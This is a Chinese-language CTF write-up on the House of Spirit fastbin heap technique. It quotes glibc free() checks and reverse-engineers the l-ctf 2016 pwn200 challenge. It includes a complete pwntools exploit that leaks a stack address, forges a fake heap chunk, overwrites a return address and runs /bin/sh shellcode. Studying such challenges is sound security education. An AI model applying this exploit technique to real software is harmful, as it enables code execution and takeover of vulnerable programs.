House of Spirit 原理
House of Spirit是Fastbin Attack的其中一種攻擊手段。這種攻擊手段是變量覆蓋
和堆管理機制
的組合利用,其核心操作是在目標位置處僞造 fastbin chunk,利用變量覆蓋的手段覆蓋堆指針,使其指向fastbin fake chunk,而後將其釋放,再申請剛釋放的fake chunk,就有可能改寫原先不可控的區域。
因爲在調用free()函數釋放fastbin的時候會進行一些檢查,所以需要在構造fake chunk的時候留意一下細節
- 首先mmap標誌位不能爲1,否則會直接調用munmap_chunk函數去釋放堆塊。
void
public_fREe(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
[...]
p = mem2chunk(mem);
#if HAVE_MMAP
if (chunk_is_mmapped(p)) /*release mmapped memory. 若mmap標誌爲1,則不走_int_free()函數進行釋放*/
{
munmap_chunk(p);
return;
}
#endif
ar_ptr = arena_for_chunk(p);
[...]
_int_free(ar_ptr, mem);
- fake chunk 地址需要對齊, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要滿足對應的 fastbin 的需求,同時也得對齊。
- fake chunk 的 next chunk 的大小不能小於 2 * SIZE_SZ(x64的系統下不能小於16),同時也不能大於av->system_mem(x64的系統下system_mem爲128kb)。
- fake chunk 對應的 fastbin 鏈表頭部不能是該 fake chunk,即不能構成 double free 的情況。
void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */
[...]
p = mem2chunk(mem);
size = chunksize(p);
[...]
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) /*其次,size的大小不能超過fastbin的最大值*/
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) /*最後是下一個堆塊的大小,要大於2*SIZE_ZE小於system_mem*/
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
[...]
fb = &(av->fastbins[fastbin_index(size)]);
[...]
p->fd = *fb;
}
l-ctf 2016 pwn200 程序分析
首先逆向程序,熟悉程序的功能和函數調用流程:
一開始找到main函數:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_40079D(a1, a2, a3);
sub_400A8E();
return 0LL;
}
sub_40079D
函數是用來設置緩衝情況,可以跳過,追入sub_400A8E
查看
__int64 sub_400A8E()
{
signed __int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h]
puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to xdctf~\n", v2);
puts("give me your id ~~?");
sub_4007DF();
return sub_400A29();
}
在這個函數中可以發現在往v2數組中存放字符串的時候沒有控制好循環次數,導致可以覆蓋數組最後的\x00
而printf函數輸出v2數組內容的時候可以泄露rbp棧地址(main函數的rbp,後面調試信息會詳細描述)。
以此查看sub_4007DF
和sub_400A29
int sub_4007DF()
{
int result; // eax
char nptr[8]; // [rsp+0h] [rbp-10h]
int v2; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
v2 = 0;
for ( i = 0; i <= 3; ++i )
{
read(0, &nptr[i], 1uLL);
if ( nptr[i] == 10 )
{
nptr[i] = 0;
break;
}
if ( nptr[i] > 57 || nptr[i] <= 47 )
{
printf("0x%x ", (unsigned int)nptr[i]);
return 0;
}
}
v2 = atoi(nptr);
if ( v2 >= 0 )
result = atoi(nptr);
else
result = 0;
return result;
}
這個只是用來輸入數字並轉化成int類型數據。
__int64 sub_400A29()
{
char *v0; // rdi
char buf; // [rsp+0h] [rbp-40h]
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, &buf, 0x40uLL);
v0 = dest;
strcpy(dest, &buf);
ptr = dest;
return sub_4009C4(v0, &buf);
}
這裏申請了0x40大小的chunk,並將申請到的chunk地址賦給dest
這裏不妨也回想一下dest所指的地址是申請到的chunk的哪個部位(這點後面構造chunk會用到):
之後用read函數讀入"money"保存到buf中。但這裏值得注意的是:buff
的大小是(rsp+38h)-(rsp+0h)
,而read可以讀0x40
個數據,這裏會造成overflow,而被蓋掉的是dest
,也就是保存malloc出來的chunk地址
緊接着用strcpy函數將buf中的數值複製到chunk中,但是strcpy函數有個特點就是遇到\x00
就會終止複製,所以這個步驟實際上是可以被繞過的。再接着查看sub_4009C4
int sub_4009C4()
{
int v0; // eax
while ( 1 )
{
while ( 1 )
{
sub_4009AF();
v0 = sub_4007DF();
if ( v0 != 2 )
break;
sub_40096D();
}
if ( v0 == 3 )
break;
if ( v0 == 1 )
sub_4008B7();
else
puts("invalid choice");
}
return puts("good bye~");
}
這個函數功能就是打印菜單信息(sub_4009AF),然後選擇功能點。
根據功能點整理剩下的函數:
sub_4008B7 --> check in ( malloc )
sub_40096D --> check out ( free )
sub_4007DF --> input chose ( 這個前面其實已經分析過了,就不再重複 )
大概瀏覽一下check in和check out函數就行了
int sub_4008B7() /* check in */
{
size_t nbytes; // [rsp+Ch] [rbp-4h]
if ( ptr )
return puts("already check in");
puts("how long?");
LODWORD(nbytes) = sub_4007DF();
if ( (signed int)nbytes <= 0 || (signed int)nbytes > 128 )
return puts("invalid length");
ptr = malloc((signed int)nbytes);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes);
return puts("in~");
}
void sub_40096D() /* check out */
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}
熟悉完程序就可以來調試了,本次學習用的exp是借鑑其他大佬寫的
l-ctf 2016 pwn200 調試經過
EXP
from pwn import *
context.log_level = 'debug'
p = process('./pwn200')
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
gdb.attach(p,'b *0x400ac7')
# part one
payload = ''
payload += shellcode.ljust(48)
p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)
rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print "shellcode_addr: ", hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode, 0x400a29 return address
p.recvuntil('give me your id ~~?\n')
# raw_input('#')
p.sendline('32') # id
p.recvuntil('give me money~\n')
# raw_input('#')
#part two
#32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
p.send(data)
p.recvuntil('choice : ')
p.sendline('2') # free(fake_addr)
p.recvuntil('choice : ')
p.sendline('1') #malloc(fake_addr) #fake_addr
p.recvuntil('long?')
p.sendline('48') # 48 + 16 = 64 = 0x40
p.recvline('48') # ptr = malloc(48)
data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')
p.send(data)
p.recvuntil('choice')
p.sendline('3')
p.interactive()
在0x400AFE
,0x4008B5
,0x400A36
三個地方下斷點,方便調試。
運行EXP並用GDB掛載,運行程序到printf函數處,得到泄漏的rbp信息
用gdb查看此時的堆棧情況:
那麼此時就知道shellcode的存放位置距離泄露的rbp的位置的偏移,就能算出shellcode的地址爲rbp - 0x50
。(計算該位置是爲了方便最後jump到此處執行shellcode。)
接着運行程序,會讓用戶輸入一個id值。payload給出的是輸入32。
這裏實際上輸入32是爲了僞造next chunk size
,目的是讓後面的fake chunk
能夠順利free掉。
之後malloc一個chunk,但是因爲沒有往裏面寫入數據所以我們沒有必要關注。現在關注的是buf和dest兩個變量在內存中的排布問題。
經過逐步調試,可以得知排布情況:
這裏存在的問題在上面程序分析的時候有提到,存在數組溢出問題,所以這裏往buf中傳送0x40的數據後,就能把buf指針覆蓋。
再運行到free後,觀察main_arena
的情況:
$2 = {0x0, 0x0, 0x7ffecc490d70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
這裏chunk已經被掛到了fastbin上,但是值得注意的是,掛上去的地址是0x7ffecc490d70
而不是malloc出來的chunk。這是因爲free掉了dest所指的地址。
這時候如果再次malloc,那麼得到的地址就是0x7ffecc490d70
,然後原先不可控的返回地址(0x7ffecc490d98處)就可以被改寫了任意的數據(也就是寫成shellcode的地址)。
當退出循環的時候,程序執行到ret指令(如下圖的0x400a8d),RIP指針就會被改寫成shellcode地址。
參考材料
【堆之House of Spirit】https://www.anquanke.com/post/id/85357
【House of Spirit】https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit.html
【linux 堆溢出學習之house of spirit(2)】https://blog.csdn.net/qq_29343201/article/details/59593901
【LCTF 2016 PWN200(House Of Spirit)】https://blog.csdn.net/qq_33528164/article/details/79681606